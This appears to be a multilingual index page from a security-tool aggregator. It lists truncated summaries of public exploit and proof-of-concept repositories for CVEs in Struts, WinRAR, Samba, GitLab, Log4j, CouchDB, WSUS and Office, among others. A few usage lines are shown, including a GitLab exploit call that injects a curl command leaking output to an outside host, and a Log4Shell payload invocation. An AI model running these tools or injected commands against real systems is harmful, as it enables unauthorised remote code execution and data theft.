EagleVM

EagleVM Playground per la generazione di assembly x64 protetto da macchina virtuale. Struttura del progetto EagleVM Applicazione di protezione principale che virtualizza il codice. EagleVM.Core Libreria statica utilizzata da EagleVM che fornisce tutte le funzionalità di virtualizzazione e analisi...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c su twitter Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Cosa sta succedendo? Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts...

CVE-2023-33733

Schwachstelle zur Code-Injection in der Python-Bibliothek Reportlab tl;dr In diesem Beitrag wird beschrieben, wie eine RCE Remote Code Execution in Reportlab gefunden und ausgenutzt wurde. Aufgrund der weiten Verbreitung von Reportlab bei der HTML-zu-PDF-Verarbeitung könnte diese Schwachstelle in...

CVE-2024-30051

Vulnerabilità di Elevazione dei Privilegi nella Libreria DWM Core di Windows CVE-2024-30051 Pubblicata il 15 Agosto 2024 In questo post del blog, spiegherò una vulnerabilità nella libreria DWM Core di Microsoft Windows che ho analizzato quando lo exploit per Core Impact veniva sviluppato. Permett...

CVE-2024-38063-poc

Real POC pubblicato https://github.com/ynwarcs/CVE-2024-38063 e l'ho aggiornato anche nel mio codice, questo può causare un crash nel tuo sistema, quindi usa una VM o solo per imparare, puoi ottenere RCE apportando modifiche al codice. Utilizzo iface Molto probabilmente è abilitato per impostazio...

CVE-2021-40444

Vollständig bewaffnetes CVE-2021-40444 Bösartiger Docx-Generator zur Ausnutzung von CVE-2021-40444 Microsoft Office Word Remote Code Execution, funktioniert mit beliebigen DLL-Dateien. Update 31.05.2022 - CVE-2022-30190 - Follina Der Generator kann nun auch das Dokument generieren, das für den...

php_code_analysis

Dieses Skript wird Ihren Code scannen Das Skript kann finden: 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection Funktionen 1. schnell 2. einfacher Bericht Verwendung: root@kitploit: python code.p...

Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708-

Vulnerabilità-di-Esecuzione-Remota-di-Codice-nei-Servizi-Desktop-Remoto-CVE-2019-0708- rce exploit , realizzato per funzionare con pocsuite3 https://github.com/knownsec/pocsuite3 Installa pocsuite 3 dal link sopra. Se hai problemi , contatta il team knownsec-404 Non aprire issue qui perché non è...

CVE-2023-38831-RaRCE

RaRCE, generatore di exploit per CVE-2023-38831 Questo è un generatore di exploit versatile, facile da installare e da usare, per CVE-2023-38831, una vulnerabilità che colpisce le versioni di WinRAR precedenti alla 6.23. RARLabs WinRAR precedente alla versione 6.23 consente agli attaccanti di...

SambaHunter

SambaHunter E' un semplice script per sfruttare la RCE su Samba CVE-2017-7494. Ora funziona con Python3. Molte delle librerie richieste per Python2 sono deprecate es. commands Aggiunto logging per mostrare quali condivisioni sono scrivibili. Se appare 'Exploit Finished' ma nessuna condivisione è...

wifi-password

wifi-password Recupera rapidamente la password del tuo WiFi e, se necessario, genera un codice QR del tuo WiFi per consentire ai telefoni di connettersi facilmente. Funziona su macOS , Linux e Windows Installazione Installa usando pip root@kitploit: $ python3 -m pip install --user wifi-password...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare...

CVE-2020-14750

CVE-2020-14750 PoC per le vulnerabilità CVE-2020-14750 e cve-2020-14882 Per testare se un sistema è vulnerabile usare: ./test-CVE-2020-14750 nombredelhost:7001 Al momento, in questa versione, garantisce solo se l'host è vulnerabile; se il risultato è negativo non è garanzia che non sia vulnerabil...

jackson-CVE-2020-8840

CVE-2020-8840 FasterXML/jackson-databind रिमोट कोड एक्जीक्यूशन भेद्यता...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

tplmap

Tplmap Questo progetto non è più mantenuto. Sono felice di unire nuove PR purché non rompano la test suite. Tplmap assiste nello sfruttamento di vulnerabilità di Code Injection e Server-Side Template Injection con una serie di tecniche di escape dalla sandbox per ottenere accesso al sistema...

couchdb-exploit

🚀 CouchDB Exploit - CVE-2017-12635 & CVE-2017-12636 Apache CouchDB - Privilege Escalation & Remote Code Execution 📖 Overview This tool exploits two critical vulnerabilities in Apache CouchDB: CVE| Description| Severity ---|---|--- CVE-2017-12635| Privilege Escalation via JSON Parsing Bypass| 🔴...

python-log4rce

Python Log4RCE Ein All-in-One reiner Python3 PoC für CVE-2021-44228. Beispiel root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

wahh_extras

wahhextras The Web Application Hacker's Handbook - Contenuti Extra Per tutti voi che avete letto "The web application hacker's handbook vol2", ci sono diversi riferimenti a extra, domande, codice sorgente che non sono facili da trovare. Ho raccolto tutto in questo repository. TOC Penetration test...

CVE-2025-59287-WSUS-2

CVE-2025-59287 ⚠ Questo strumento è creato esclusivamente per uso educativo. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato. CVE-2025-59287 è una vulnerabilità critica di esecuzione di codice remoto in Microsoft Windows Server Update Services WSUS. Deriva da una...